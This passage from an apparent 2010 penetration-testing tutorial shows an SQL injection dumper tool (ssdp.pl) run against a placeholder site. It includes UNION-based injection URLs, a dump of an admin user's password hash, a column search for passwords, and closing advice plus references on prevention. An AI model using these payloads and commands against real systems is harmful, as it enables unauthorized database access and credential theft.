 [o]=================================================[o]
    Date : Sat May 15 18:19:50 2010
    Help Command: -h, -help, --help
 [+] c0li SQLi URL:
http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,
8,9,10,11,12,13,14,15,16,17,18
 [+] SQLi End Tag: --
 [+] Database Name: johnwebsite
 [+] Table Name: usersecurity
 [+] Column Name: user_id,username,password,admin
 [+] Data Count: 1
 Special Dump Query: WHERE username=0x61646D696E
 Dumping 1 Data ...
 [1] 1 : admin : 2ec20101734c754d : 1
 Done.
```


This command will try to search the columns with keyword address it required from –c column option. Use this command to search specific column from MYSQL database:

ssdp.pl –u "URL Injection" –d "Database Name" –t "Table Name" –c "Specific Column" –find

```
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>ssdp.pl -u
http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,
8,9,10,11,12,13,14,15,16,17,18 -d johnwebsite -t usersecurity -c password -find
[o]=================================================[x]
 |          Simple SQLi Dumper v5.1             |
 |            Coded by Vrs-hCk                  |
[o]=================================================[o]
   Date : Sat May 15 18:24:03 2010
   Help Command: -h, -help, --help
[+] c0li SQLi URL: http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2+UNION+
ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
[+] SQLi End Tag: --
[+] Database Name: johnwebsite
Searching for Columns Name like *password*...
[+] Columns Found:
[1] johnwebsite.usersecurity.password
Done.
E:\Izhar\Tool\SQL Injection\ssdp51\ssdp51>
```


5. Conclusion

There are a lot of techniques and tools to find bugs, errors or vulnerabilities in MYSQL database. By using these tools, it is very easy to find Blind SQL injection vulnerability at certain vulnerable parameter or string. These tools also perform SQL injection test to the vulnerable website and try to dump data from MySQL database. You can dump data from MySQL database tables and it works nicely. You can gather secret and confidential data such as usernames, passwords, credit card numbers and etc. But, I suggest using these tools in a right way. If you work as IT people, you can use these tools to perform vulnerability assessment in your web or database server and try to improve its security based on vulnerabilities that you found using all of these tools. These tools are very useful tools especially for IT Security Consultant or penetration tester to reduce time for web penetration testing with the better quality findings.

6. Reference

1) Blind SQL Injection -OWASP
   http://www.owasp.org/index.php/Blind_SQL_Injection
2) Blind SQL Injection
   http://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection
3) SQL Injections Top Attack Statistics
   http://www.darkreading.com/database_security/security/app-security/showArticle.jhtml?articleID=223100129
4) SQL Injections Cheat Sheet
   http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
5) Time to Squish SQL Injection
   http://www.securityfocus.com/columnists/505
6) SQL Injection: How To Prevent Security Flaws in PHP/MySQL
   http://www.learnphponline.com/security/sql-injection-prevention-mysql-php
7) 10 Ways To Prevent or Mitigate SQL Injection Attack
   http://www.enterprisenetworkingplanet.com/netsecur/article.php/3866756
8) UK Security Breach Investigation Report
   http://7safe.com/breach_report/Breach_report_2010.pdf

